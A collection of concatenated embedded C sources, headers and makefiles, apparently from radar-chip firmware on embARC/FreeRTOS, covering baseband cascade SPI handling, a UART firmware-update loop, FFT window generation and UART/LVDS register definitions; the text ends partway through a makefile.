uint16_t rx_obj_num = 0; // received object number of slave
uint16_t total_rx_obj_num = 0; // totally received object number of slave
uint32_t merge_num = 0;
uint32_t mem_mac_offset = 0; // store fft2d data
do {
if (E_OK == baseband_merge_cfar(bb_hw, ant_chl_num, mst_obj_num,
&slv_obj_num, &rx_obj_num, &mem_mac_offset,
&merge_num, cfr_info, obj_info))
total_rx_obj_num += rx_obj_num;
else
break;
} while (total_rx_obj_num != slv_obj_num);
/* write merge results to mem */
baseband_write_cfar(bb_hw, &merge_num, cfr_info, obj_info);
}
/* <scan stop> needs special handling */
/* <scan stop> does not use neither baseband_write_cascade_cmd nor baseband_read_cascade_cmd */
/* <scan stop> should be faster tx/rx to ensure both master and slave will stop at the same frame */
void baseband_scan_stop_tx(uint16_t cascade_cmd, uint16_t param)
{
cascade_write_buf_req();
cascade_write_buf(SHIFT_L16(param) | cascade_cmd); /* write spi, when "scan start/stop" */
cascade_write_buf_done();
}
void baseband_scan_stop_rx(TickType_t xTicksToWait)
{
if (E_OK == cascade_read_buf_req(xTicksToWait)) { /* wait buf */
uint16_t rx_cmd = REG_L16(cascade_read_buf(0)); /* read buf to get "scan stop" */
if (rx_cmd == CMD_SCAN_STOP)
baseband_scan_stop(); /* scan stop for slave */
cascade_read_buf_done(); /* release spi underlying buffer */
}
}
void baseband_write_cascade_cmd(const char *pcCommandString)
{
cascade_write_buf_req();
cascade_write_buf(CMD_HDR); /* write cmd header */
cascade_write_buf_str(pcCommandString); /* write cmd string */
cascade_write_buf_done();
}
void baseband_read_cascade_cmd(TickType_t xTicksToWait)
{
if (E_OK == cascade_read_buf_req(xTicksToWait)) { /* wait buf */
if (CMD_HDR == cascade_read_buf(0)) {
cascade_read_buf_str();
uint32_t msg = 1; // push 1 to queue
xQueueSendFromISR(queue_spi_cmd, (void *)&msg, 0);
}
cascade_read_buf_done(); /* release spi underlying buffer */
}
}
uint32_t cascade_spi_cmd_wait(void)
{
uint32_t event = 0;
xQueueReceive(queue_spi_cmd, &event, 0); // take 1 from queue
return event;
}
#endif // CHIP_CASCADE
<file_sep>#include "embARC.h"
#include "system.h"
#include "flash.h"
#include "flash_header.h"
#include "flash_mmap.h"
#include "dw_uart.h"
#include "ota.h"
#include "uart.h"
#define IMAGE_RAM_BUF_BASE (0x780000)
static uint32_t ram_image_base = IMAGE_RAM_BUF_BASE;
static uint32_t image_size = 0;
static uint32_t ext_flash_mem_base = FLASH_FIRMWARE_BASE;
static image_header_t *header_ptr = NULL;
//image_header_t *new_header_ptr = NULL;
static void uart_ota_comm_handshake(void);
static uint32_t uart_ota_image_handle(uint32_t sn, uint32_t payload_len);
static uint32_t uart_ota_program_verify(image_header_t *header_ptr);
static uint32_t uart_ota_program_handle(uint32_t verify);
static int32_t uart_ota_send_ack(uint32_t ack);
/*
* handshake frame:
*************************************
* magic number * handshake code *
*************************************
**/
static void uart_ota_comm_handshake(void)
{
int32_t result = -1;
uint32_t len = 8;
static uint8_t hs_msg[8] = {0};
uint32_t magic_num = 0;
uint32_t hs_code = 0;
/* need to reset boot watchdog? */
/* polling handshake package from host. */
while (1) {
result = uart_read(hs_msg, len);
if (0 != result) {
/* TODO: reset and reinit uart device. */
continue;
}
magic_num = UART_OTA_FRAME_MAGIC_NUM(hs_msg);
hs_code = UART_OTA_HS_CODE(&hs_msg[4]);
if ((UART_OTA_COM_MAGIC_NUM == magic_num) && \
(UART_OTA_COM_HS_CODE == hs_code)) {
result = uart_write(hs_msg, len);
if (0 == result) {
break;
}
/* TODO: reset and reinit uart device? */
}
if ((UART_OTA_START_STR0 == magic_num) && (UART_OTA_START_STR1 == hs_code)) {
result = uart_read(hs_msg, 2);
}
}
}
static uint32_t uart_ota_image_handle(uint32_t sn, uint32_t payload_len)
{
int32_t result = 0;
uint32_t ack = 0;
uint32_t crc32 = 0, rx_crc32 = 0;
static uint32_t last_sn = 0;
uint32_t rx_len = payload_len + sizeof(uint32_t);
uint8_t *payload_ptr = (uint8_t *)(ram_image_base + image_size);
do {
if (sn != last_sn) {
ack = ACK_SN_ORDER_ERROR;
break;
}
result = uart_read(payload_ptr, rx_len);
if (0 != result) {
ack = ACK_DEVICE_ACCESS_FAILED;
break;
}
/* check crc. */
//rx_crc32 = *(uint32_t *)(payload_ptr + payload_len);
rx_crc32 = UART_OTA_FRAME_CRC32(payload_ptr + payload_len);
crc32 = update_crc(0, payload_ptr, payload_len);
if (crc32 != rx_crc32) {
ack = ACK_COMM_CRC32_UNMATCHED;
break;
}
last_sn += 1;
//ram_image_base += payload_len;
image_size += payload_len;
} while (0);
return ack;
}
static uint8_t flash_read_data_buffer[4096];
static uint32_t uart_ota_program_verify(image_header_t *header_ptr)
{
uint32_t ack = 0;
int32_t result = 0;
uint32_t crc32_buffer[256];
uint32_t *crc32_ptr = NULL;
uint32_t crc32, data_size = 0;
uint32_t single_rd_size = 0;
do {
if (NULL == header_ptr) {
ack = ACK_FUNC_PARAMS_ERROR;
break;
}
/* check the program operation. */
data_size = header_ptr->payload_size;
ext_flash_mem_base = ext_flash_mem_base + sizeof(image_header_t);
single_rd_size = header_ptr->crc_part_size;
if (chip_security()) {
/* decrypt: */
crc32_ptr = crc32_buffer;
} else {
uint32_t real_image_base = ram_image_base + sizeof(image_header_t);
crc32_ptr = (uint32_t *)(real_image_base + data_size);
}
while (data_size) {
if (data_size < header_ptr->crc_part_size) {
single_rd_size = data_size;
}
result = flash_memory_read(ext_flash_mem_base, \
flash_read_data_buffer, \
header_ptr->crc_part_size);
if (0 != result) {
ack = ACK_NOR_FLASH_PROGRAM_FAILED;
break;
}
crc32 = update_crc(0, flash_read_data_buffer, single_rd_size);
if (*crc32_ptr++ != crc32) {
ack = ACK_NVM_CRC32_UNMATCHED;
break;
}
ext_flash_mem_base += header_ptr->crc_part_size;
data_size -= header_ptr->crc_part_size;
}
} while (0);
return ack;
}
static uint32_t uart_ota_program_handle(uint32_t verify)
{
int32_t result = 0;
uint32_t ack = 0;
uint32_t data_size = image_size;
image_header_t old_header;
#if 1
do {
#if 0
if (chip_security()) {
/* firstly decrypt the flash header. */
header_ptr = &header;
} else {
header_ptr = (image_header_t *)ram_image_base;
}
#else
header_ptr = (image_header_t *)ram_image_base;
#endif
/* read image header from external flash. */
result = flash_memory_read(ext_flash_mem_base, \
(uint8_t *)&old_header, \
sizeof(image_header_t));
if (0 != result) {
ack = ACK_NOR_FLASH_READ_FAILED;
break;
}
if (old_header.magic_number != header_ptr->magic_number) {
ack = ACK_NVM_MAGIC_NUM_UNMATCHED;
break;
}
if (old_header.sw_version.major_ver_id > header_ptr->sw_version.major_ver_id) {
ack = ACK_SW_VERSION_ERROR;
break;
} else if (old_header.sw_version.major_ver_id == header_ptr->sw_version.major_ver_id) {
if (old_header.sw_version.minor_ver_id > header_ptr->sw_version.minor_ver_id){
ack = ACK_SW_VERSION_ERROR;
break;
} else if (old_header.sw_version.minor_ver_id == header_ptr->sw_version.minor_ver_id) {
if (old_header.sw_version.stage_ver_id > header_ptr->sw_version.stage_ver_id){
ack = ACK_SW_VERSION_ERROR;
break;
}
}
}
result = flash_memory_erase(ext_flash_mem_base, data_size);
if (0 != result) {
ack = ACK_NOR_FLASH_ERASE_FAILED;
break;
}
result = flash_memory_write(ext_flash_mem_base, \
(const uint8_t *)IMAGE_RAM_BUF_BASE, data_size);
if (0 != result) {
ack = ACK_NOR_FLASH_PROGRAM_FAILED;
break;
}
if (0 != verify) {
ack = uart_ota_program_verify(header_ptr);
}
} while (0);
#endif
return ack;
}
static int32_t uart_ota_send_ack(uint32_t ack)
{
/*
********************************************************
* magic umber * cmd_id * sn * result * crc32 *
********************************************************
* */
uint32_t ack_msg[3] = {UART_OTA_COM_MAGIC_NUM, ack, update_crc(0, (uint8_t *)ack, 4)};
return uart_write((uint8_t *)ack_msg, 12);
}
#define UART_OTA_HEADER_LEN (12)
void uart_ota_main(void)
{
int32_t result = E_OK;
uint32_t ack = 0;
uint8_t header[12] = {0};
uint8_t cmd_id, sn;
uint16_t payload_len = 0;
//uint8_t *payload_ptr = NULL;
uint32_t com_magic_num, rx_crc32, crc32 = 0;
do {
/* handshake with host: maybe enter watchdog timeout flow. */
uart_ota_comm_handshake();
//session_state = COMM_READY;
while (1) {
/* wait command:
*********************************************************
* magic number * cmd_id * SN * length * CRC32 *
*********************************************************
* */
result = uart_read(header, UART_OTA_HEADER_LEN);
if (0 != result) {
/* reset and re-init uart device. */
break;
}
/* check magic number and crc32, gain command id. */
com_magic_num = UART_OTA_FRAME_MAGIC_NUM(header);
cmd_id = header[4];
sn = header[5];
payload_len = (header[7] << 8) | header[6];
rx_crc32 = UART_OTA_FRAME_CRC32(&header[8]);
if (UART_OTA_COM_MAGIC_NUM != com_magic_num) {
ack = ACK_COMM_MAGIC_NUM_UNMATCHED;
} else {
crc32 = update_crc(0, &header[4], 4);
if (rx_crc32 != crc32) {
ack = ACK_COMM_CRC32_UNMATCHED;
}
}
if (0 == ack) {
switch (cmd_id) {
case UART_OTA_CMD_IMAGE:
ack = uart_ota_image_handle(sn, payload_len);
break;
case UART_OTA_CMD_ECU_RESET:
/* call ecu_reset(void). */
reboot_cause_set(ECU_REBOOT_NORMAL);
chip_hw_udelay(2000);
raw_writel(REG_EMU_BOOT_DONE,0x1);
chip_reset();
break;
case UART_OTA_PROGRAM_IMAGE:
ack = uart_ota_program_handle(sn);
break;
default:
ack = ACK_COMM_CMD_ID_INVALID;
break;
}
}
ack = UART_OTA_ACK(cmd_id, sn, ack);
result = uart_ota_send_ack(ack);
if (0 != result) {
break;
} else {
ack = 0;
}
}
} while (0);
/* Error: turn on the indicator light after boot watchdog timeout. */
}
<file_sep>#include "math.h"
#include "calterah_complex.h"
#include "calterah_math_funcs.h"
#include "calterah_data_conversion.h"
#include "fft_window.h"
#include "string.h"
#ifndef M_PI
#define M_PI 3.1415926535f
#endif
static float aux1[MAX_FFT_WIN];
static float aux2[MAX_FFT_WIN];
static float gen_chebwin_internal(int N, float at, float *out)
{
int order = N - 1;
double R = pow(10.0, fabs(at)/20.0);
double x0 = cosh(1.0/order * acosh(R));
double x;
int k;
int odd = N % 2;
/* To improve precision, Freq domain coeffs are computed in double */
for(k = 0; k < N; k++) {
x = x0 * cos(M_PI * k / N);
if (x > 1)
out[k] = cosh(order * acosh(x));
else if (x < -1)
out[k] = (1 - 2 * (order % 2)) * cosh(order * acosh(-x));
else
out[k] = cos(order * acos(x));
}
int i, j;
for(i = 0; i < N; i++) {
complex_t tmp1;
tmp1.r = 0;
tmp1.i = 0;
for(j = 0; j < N; j++) {
complex_t tw, tmp2;
float theta = -2 * M_PI * i * j / N;
tw.r = cosf(theta);
tw.i = sinf(theta);
tmp2.r = out[j];
tmp2.i = 0;
if (!odd) {
complex_t tmp3;
complex_t tw2;
float theta2 = M_PI * j / N;
tw2.r = cosf(theta2);
tw2.i = sinf(theta2);
cmult(&tw2, &tmp2, &tmp3);
tmp2 = tmp3;
}
cmult_cum(&tw, &tmp2, &tmp1);
}
aux2[i] = tmp1.r;
}
int n = odd ? (N+1)/2 : N/2;
for (k = 0; k < n; k++) {
if (odd) {
out[n-1-k] = aux2[k];
out[n-1+k] = aux2[k];
} else {
out[n-k-1] = aux2[k+1];
out[n+k] = aux2[k+1];
}
}
normalize(out, N, 1);
return get_power(out, N);
}
static float gen_hanning_internal(int N, float *out)
{
uint32_t i;
for(i = 0; i < N; i++)
out[i] = 0.5 - 0.5*cos(2*M_PI*i/(N-1));
return get_power(out, N);
}
static float gen_hamming_internal(int N, float *out)
{
uint32_t i;
for(i = 0; i < N; i++)
out[i] = 0.54 - 0.46*cos(2*M_PI*i/(N-1));
return get_power(out, N);
}
static float gen_square_internal(uint32_t len, float *aux1)
{
uint32_t i;
for(i = 0; i < len; i++)
aux1[i] = 1.0;
return get_power(aux1, len);
}
float gen_window(const char *wintype, int len, double param1, double param2, double param3)
{
float retval = 0;
if (strcmp(wintype, "cheb") == 0)
retval = gen_chebwin_internal(len, param1, aux1);
else if (strcmp(wintype, "hanning") == 0)
retval = gen_hanning_internal(len, aux1);
else if (strcmp(wintype, "hamming") == 0)
retval = gen_hamming_internal(len, aux1);
else
retval = gen_square_internal(len, aux1);
return retval;
}
uint32_t get_win_coeff(uint32_t idx)
{
return float_to_fx(aux1[idx], WIN_COEFF_BITW, WIN_COEFF_INT, false);
}
float get_win_coeff_float(uint32_t idx)
{
return aux1[idx];
}
float* get_win_buff()
{
return aux2;
}
<file_sep>#ifndef _CS_INTERNAL_H_
#define _CS_INTERNAL_H_
#define CFG_CS_RX_MODULE_PORT_ID (0)
#define CS_RX_BUF_LEN_MAX (0x1000)
/* tx buffer logic id range:
* 0-15: user context range.
* 16-31: task context range.
* 32-39: interrupt context range.
* 40: exception buffer id(virtual).
* */
#define CS_TX_BUFFER_ID_INVALID (0xFFFFFFFF)
#define CS_TASK_BUF_CNT_MAX (16)
#define CS_TASK_BUF_LEN_MAX (0x400)
#define CS_INT_BUF_CNT_MAX (8)
#define CS_INT_BUF_LEN_MAX (0x100)
#define CS_USER_BUF_CNT_MAX (16)
/* transmit request queue: size & length. */
#define RX_MSG_QUEUE_ITEM_SIZE (12)
#define RX_MSG_QUEUE_ITEM_LEN (8)
#define CS_USER_BUF_ID_START (0)
#define CS_USER_BUF_ID_END (CS_USER_BUF_CNT_MAX)
#define CS_TASK_BUF_ID_START (CS_USER_BUF_CNT_MAX)
#define CS_TASK_BUF_ID_END (CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX)
#define CS_INT_BUF_ID_START (CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX)
#define CS_INT_BUF_ID_END (CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX + CS_INT_BUF_CNT_MAX)
/* data will be transmitted can hang up.
* @state: idle,
* @used_size: the count of transmitted data.
* @buf: the location of data.
* @len: the length of data.
* @timestamp: the time that the hooker has been applied.
* */
typedef struct {
uint16_t state;
uint16_t used_size;
void *buf;
uint32_t len;
uint64_t timestamp;
void(*tx_end_callback)(void);
}cs_txbuf_hooker_t;
/* the console receiver:
* @hw_type, UART/SPI/...
* @port_id, the hardware port of hw_type.
* @buf_status, normal or overflow.
* @buf_rd_pos, read pointer, used to check whether overflow.
* @buf, the buffer manager for low level(HAL).
* @msg_queue, while receiving data, insert its location in it.
* */
typedef struct {
//uint8_t hw_type;
uint8_t port_id;
uint8_t buf_status;
uint32_t buf_rd_pos;
uint32_t buf_rp_pos;
DEV_BUFFER buf;
//uint16_t range_l;
//uint16_t range_h;
QueueHandle_t msg_queue;
} cs_receiver_t;
/* the console transmitter:
* @state: idle/busy.
* @order_ovflw: indicate whether push order count is overflow.
* @cur_buf_id: indicate the current txbuf_hooker id.
* @buf: the buffer the the lower layer is handling.
* @cur_userbuf_id:
* @userbuf_pop_id:
* indicate the current user txbuf_hooker id.
* @push_order_cnt:
* indicate the last push order.
* @pop_order_cnt:
* indicate the last pop order.
* */
typedef struct {
uint8_t state;
uint8_t order_ovflw;
uint8_t cur_buf_id;
DEV_BUFFER buf;
uint32_t cur_userbuf_id;
uint32_t userbuf_pop_id;
uint64_t push_order_cnt;
uint64_t pop_order_cnt;
// QueueHandle_t msg_queue;
} cs_transmitter_t;
#endif
<file_sep>#ifndef _XIP_HAL_H_
#define _XIP_HAL_H_
#include "xip.h"
#define FLASH_COMMAND(ins, ins_len, addr_len, dfs) FLASH_XIP_CMD_INIT(ins, ins_len, addr_len, dfs)
#define XIP_MEM_BASE_ADDR 0x300000
int32_t flash_xip_readb(uint32_t addr, uint8_t *buf, uint32_t len);
int32_t flash_xip_read(uint32_t addr, uint32_t *buf, uint32_t len);
int32_t flash_xip_init(void);
int32_t flash_xip_encrypt(uint32_t *src, uint32_t *dst, uint32_t len);
int32_t flash_xip_decrypt(uint32_t *src, uint32_t *dst, uint32_t len);
#endif
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#include "FreeRTOS_CLI.h"
#endif
#include "cascade.h"
#define DMA_TEST 0
#define CRC32_TEST 0
#define DMA_CRC_TEST 0
static uint32_t txdata[0x6000 >> 2];
static uint32_t rxdata[0x6000 >> 2];
static TaskHandle_t cs_xfer_handle = NULL;
static BaseType_t cs_command_handle(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
int32_t result = E_OK;
static uint32_t first_xfer = 0;
BaseType_t len1;
uint32_t idx, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
length = (uint32_t)strtol(param1, NULL, 0);
EMBARC_PRINTF("txdata: 0x%x, length: 0x%x\r\n", (uint32_t)txdata, length);
for (idx = 0; idx < length; idx++) {
txdata[idx] = 0x12340000 + idx;
}
if (0 == first_xfer) {
first_xfer = 1;
} else {
//xfer_done = spis_server_transmit_done();
cascade_transmit_done();
}
result = cascade_write(txdata, length);
if (E_OK != result) {
EMBARC_PRINTF("cascade write failed%d\r\n", result);
}
return pdFALSE;
}
static const CLI_Command_Definition_t cs_send_command = {
"cascade_send",
"\rcascade_send:"
"\r\n\tcascade_send [length(word)]\r\n\r\n",
cs_command_handle,
-1
};
#if DMA_TEST
static uint32_t cs_dma_callback(void *params)
{
EMBARC_PRINTF("DMA Done\r\n");
int32_t result = dma_release_channel((uint32_t)params);
if (E_OK != result) {
EMBARC_PRINTF("DMA channel release failed.\r\n");
}
}
static BaseType_t dma_test_command_handle(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
int32_t result = E_OK;
BaseType_t len1;
uint32_t idx, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
length = (uint32_t)strtol(param1, NULL, 0);
EMBARC_PRINTF("txdata: 0x%x, length: 0x%x --> 0x%x\r\n", (uint32_t)txdata, length, (uint32_t)rxdata);
for (idx = 0; idx < length; idx++) {
raw_writel((uint32_t)&txdata[idx], 0x12340000 + idx);
//txdata[idx] = 0x12340000 + idx;
}
result = dma_user_memcopy(rxdata, txdata, length << 2, cs_dma_callback);
if (E_OK != result) {
EMBARC_PRINTF("DMA copy init failed%d\r\n", result);
}
return pdFALSE;
}
static const CLI_Command_Definition_t dma_test_command = {
"dma_test",
"\rdma_test:"
"\r\n\tdma_test [length(word)]\r\n\r\n",
dma_test_command_handle,
-1
};
#endif
#define ENDIAN_ORDER_REV(word) \
((((word) & 0xFF) << 24) |\
((((word) >> 8) & 0xFF) << 16) |\
((((word) >> 16) & 0xFF) << 8) |\
((((word) >> 24) & 0xFF) << 0)\
)
#if CRC32_TEST
static BaseType_t crc32_test_command_handle(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
int32_t result = E_OK;
BaseType_t len1;
uint32_t crc32;
uint32_t idx, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
length = (uint32_t)strtol(param1, NULL, 0);
EMBARC_PRINTF("txdata: 0x%x, length: 0x%x\r\n", (uint32_t)txdata, length);
for (idx = 0; idx < length; idx++) {
raw_writel((uint32_t)&txdata[idx], 0x12340000 + idx);
rxdata[idx] = ENDIAN_ORDER_REV(raw_readl((uint32_t)&txdata[idx]));
}
crc32 = update_crc(0, rxdata, length << 2);
EMBARC_PRINTF("sw_crc: 0x%x\r\n", crc32);
result = crc32_update(0, txdata, length);
if (E_OK != result) {
EMBARC_PRINTF("crc init failed%d\r\n", result);
}
EMBARC_PRINTF("hw_crc: 0x%x-->0x%x\r\n", raw_readl(0xc1000c), crc_output());
return pdFALSE;
}
static const CLI_Command_Definition_t crc32_test_command = {
"crc32_test",
"\rcrc32_test:"
"\r\n\tcrc32_test [length(word)]\r\n\r\n",
crc32_test_command_handle,
-1
};
#endif
#if DMA_CRC_TEST
static BaseType_t dma_crc_test_command_handle(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
int32_t result = E_OK;
BaseType_t len1;
uint32_t crc32;
uint32_t idx, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
length = (uint32_t)strtol(param1, NULL, 0);
EMBARC_PRINTF("txdata: 0x%x, length: 0x%x --> 0x%x\r\n", (uint32_t)txdata, length, (uint32_t)rxdata);
for (idx = 0; idx < length; idx++) {
raw_writel((uint32_t)&txdata[idx], 0x12340000 + idx);
//rxdata[idx] = ENDIAN_ORDER_REV(txdata[idx]);
rxdata[idx] = ENDIAN_ORDER_REV(raw_readl((uint32_t)&txdata[idx]));
}
crc32 = update_crc(0, rxdata, length << 2);
EMBARC_PRINTF("sw_crc: 0x%x\r\n", crc32);
hw_crc_reset(1);
hw_crc_reset(0);
result = cascade_crc_dmacopy(txdata, length);
if (E_OK != result) {
EMBARC_PRINTF("DMA crc init failed%d\r\n", result);
}
return pdFALSE;
}
static const CLI_Command_Definition_t dma_crc_test_command = {
"dma_crc_test",
"\rdma_crc_test:"
"\r\n\tdma_crc_test [length(word)]\r\n\r\n",
dma_crc_test_command_handle,
-1
};
#endif
static void cascade_xfer_task(void *params)
{
uint32_t length = 0;
uint32_t *data_ptr = rxdata;
while (1) {
if (E_OK == cascade_read(&data_ptr, &length, portMAX_DELAY)) {
EMBARC_PRINTF("package has been handled[0x%x].\r\n", length);
cascade_process_done();
} else {
taskYIELD();
}
}
}
void cascade_if_cli_register(void)
{
FreeRTOS_CLIRegisterCommand(&cs_send_command);
#if DMA_TEST
FreeRTOS_CLIRegisterCommand(&dma_test_command);
#endif
#if CRC32_TEST
FreeRTOS_CLIRegisterCommand(&crc32_test_command);
#endif
#if DMA_CRC_TEST
FreeRTOS_CLIRegisterCommand(&dma_crc_test_command);
#endif
if (xTaskCreate(cascade_xfer_task, "cs_rx_task", 128, (void *)0, configMAX_PRIORITIES - 1, &cs_xfer_handle)
!= pdPASS) {
EMBARC_PRINTF("create cs_xfer_handle error\r\n");
}
}
<file_sep>#ifndef CALTERAH_CLUSTER_H
#define CALTERAH_CLUSTER_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
typedef struct cluster {
uint32_t dummy;
} cluster_t;
void cluster_init(cluster_t *cls);
void cluster_start(cluster_t *cls);
void cluster_stop(cluster_t *cls);
#endif
<file_sep>#ifndef _DW_UART_H_
#define _DW_UART_H_
#define UART_TX (1)
#define UART_RX (2)
#define DW_UART_MODEM_STS_INT (1 << 3)
#define DW_UART_RECEIVER_LINE_STS_INT (1 << 2)
#define DW_UART_TX_HOLDING_REG_EMPTY_INT (1 << 1)
#define DW_UART_RX_DATA_AVAILABLE_INT (1 << 0)
typedef struct dw_uart_frame_format {
uint8_t data_bits;
uint8_t parity;
uint8_t stop_bits;
uint8_t reserved;
} dw_uart_format_t;
typedef struct dw_uart_descriptor {
uint32_t base;
uint32_t ref_clock;
uint32_t int_no;
void *ops;
} dw_uart_t;
typedef struct dw_uart_operations {
int32_t (*version)(dw_uart_t *dw_uart);
int32_t (*write)(dw_uart_t *dw_uart, uint8_t *buf, uint32_t len);
int32_t (*read)(dw_uart_t *dw_uart, uint8_t *buf, uint32_t len);
int32_t (*format)(dw_uart_t *dw_uart, dw_uart_format_t *format);
int32_t (*fifo_config)(dw_uart_t *dw_uart, uint32_t enable, \
uint32_t rx_threshold, uint32_t tx_threshold);
int32_t (*baud)(dw_uart_t *dw_uart, uint32_t baud);
int32_t (*int_enable)(dw_uart_t *dw_uart, int enable, int mask);
int32_t (*int_id)(dw_uart_t *dw_uart);
int32_t (*line_status)(dw_uart_t *dw_uart);
int32_t (*status)(dw_uart_t *dw_uart, uint32_t status);
int32_t (*fifo_flush)(dw_uart_t *dw_uart, uint32_t channel);
} dw_uart_ops_t;
typedef enum dw_uart_parity {
UART_NO_PARITY = 0,
UART_ODD_PARITY,
UART_EVEN_PARITY
} dw_uart_parity_t;
typedef enum dw_uart_data_bits {
UART_CHAR_MIN_BITS = 5,
UART_CHAR_5BITS = UART_CHAR_MIN_BITS,
UART_CHAR_6BITS,
UART_CHAR_7BITS,
UART_CHAR_8BITS,
UART_CHAR_MAX_BITS,
UART_CHAR_INVALID,
} uart_data_bits_t;
typedef enum dw_uart_stop_bits {
UART_STOP_1BIT = 0,
UART_STOP_1BIT5,
UART_STOP_2BITS
} uart_stop_bits_t;
typedef enum dw_uart_line_status {
UART_LINE_ADDR_RECEIVED = 0,
UART_LINE_RX_FIFO_ERR,
UART_LINE_TX_REAL_EMPTY,
UART_LINE_TX_HOLDING_REG_EMPTY,
UART_LINE_BREAK_OCCURED,
UART_LINE_FRAME_ERR,
UART_LINE_PARITY_ERR,
UART_LINE_OVERRUN_ERR,
UART_LINE_DATA_READY,
UART_LINE_ALL_STS,
UART_LINE_INVALID_STS
} uart_line_sts_t;
typedef enum dw_uart_status_t {
UART_RX_FIFO_FULL = 0,
UART_RX_FIFO_NOT_EMPTY,
UART_TX_FIFO_EMPTY,
UART_TX_FIFO_NOT_FULL,
UART_BUSY,
UART_ALL_STS
} uart_status_t;
typedef enum {
IID_MODEM_STATUS = 0,
IID_NO_INT_PENDING,
IID_THR_EMPTY,
IID_RX_DATA_AVAIL = 4,
IID_RX_LINE_STATUS = 6,
IID_BUSY_DETECT,
IID_CHAR_TIMEOUT = 0xc
} dw_uart_iid_t;
int32_t dw_uart_install_ops(dw_uart_t *dw_uart);
#endif
<file_sep>#ifndef _ALPS_LVDS_H_
#define _ALPS_LVDS_H_
#define LENR (0x00)
#define BB_DAT_MUX (0X04)
#define DUMP_MUX (0x08)
#define OUTPUT_MUX (0x0c)
#define LVDS_EN (0x10)
#define LVDS_FRAME (0x14)
#define LVDS_BIT_ORDER (0x18)
#define DMACR (0x1c)
#define DMATDLR (0x20)
#define TXFLR (0x24)
#define TXFTLR (0x28)
#define SR (0x2c)
#define VIDR (0x30)
#define IMR (0x34)
#define ISR (0x38)
#define RISR (0x3c)
#define TXOICR (0x40)
#define DRx (0x60)
#define LENR_ON (0x1)
#define LENR_OFF (0x0)
#define BB_MUX_DEF (0x0)
#define BB_MUX_SAM (0x1)
#define BB_MUX_CFR (0x2)
#define BB_MUX_BFM (0x3)
#define BB_MUX_DUMP (0x4)
#define DUMP_MUX_DEF (0x0)
#define DUMP_MUX_BB (0x1)
#define DUMP_MUX_APB (0x2)
#define OUTPUT_MUX_FIL (0x0)
#define OUTPUT_MUX_APB (0x1)
#define LVDS_EN_ON (0x1)
#define LVDS_EN_OFF (0x0)
#define LVDS_FRAME_POS (0x0)
#define LVDS_FRAME_NEG (0x1)
#define LVDS_BIT_ORDER_POS (0x0)
#define LVDS_BIT_ORDER_NEG (0x1)
#endif
<file_sep>CALTERAH_SPI_MASTER_ROOT = $(CALTERAH_COMMON_ROOT)/spi_master
CALTERAH_SPI_MASTER_CSRCDIR = $(CALTERAH_SPI_MASTER_ROOT)
CALTERAH_SPI_MASTER_ASMSRCDIR = $(CALTERAH_SPI_MASTER_ROOT)
# find all the source files in the target directories
CALTERAH_SPI_MASTER_CSRCS = $(call get_csrcs, $(CALTERAH_SPI_MASTER_CSRCDIR))
CALTERAH_SPI_MASTER_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_SPI_MASTER_ASMSRCDIR))
# get object files
CALTERAH_SPI_MASTER_COBJS = $(call get_relobjs, $(CALTERAH_SPI_MASTER_CSRCS))
CALTERAH_SPI_MASTER_ASMOBJS = $(call get_relobjs, $(CALTERAH_SPI_MASTER_ASMSRCS))
CALTERAH_SPI_MASTER_OBJS = $(CALTERAH_SPI_MASTER_COBJS) $(CALTERAH_SPI_MASTER_ASMOBJS)
# get dependency files
CALTERAH_SPI_MASTER_DEPS = $(call get_deps, $(CALTERAH_SPI_MASTER_OBJS))
# genearte library
CALTERAH_SPI_MASTER_LIB = $(OUT_DIR)/lib_spi_master.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_SPI_MASTER_ROOT)/spi_master.mk
# library generation rule
$(CALTERAH_SPI_MASTER_LIB): $(CALTERAH_SPI_MASTER_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_SPI_MASTER_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_SPI_MASTER_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_SPI_MASTER_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_SPI_MASTER_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_SPI_MASTER_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_SPI_MASTER_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_SPI_MASTER_LIB)
<file_sep>##
# \defgroup MK_CHIP_ALPS EM Starter Kit Chip Related Makefile Configurations
# \ingroup MK_CHIP
# \brief makefile related to alps chip configurations
##
##
# \brief current chip directory definition
##
CHIP_ALPS_DIR = $(CHIPS_ROOT)/alps
##
##
SUPPORTED_CHIP_VERS = B MP
## Select Chip Version
CHIP_VER ?= MP
override CHIP_VER := $(strip $(CHIP_VER))
## Set Valid Chip Version
VALID_CHIP_VER = $(call check_item_exist, $(CHIP_VER), $(SUPPORTED_CHIP_VERS))
## Check TCF file existence
ifneq ($(TCF),)
ifeq ($(wildcard $(TCF)),)
$(error Tool Configuration File(TCF) - $(TCF) doesnot exist, please check it!)
else
TCFFILE_IS_VALID = 1
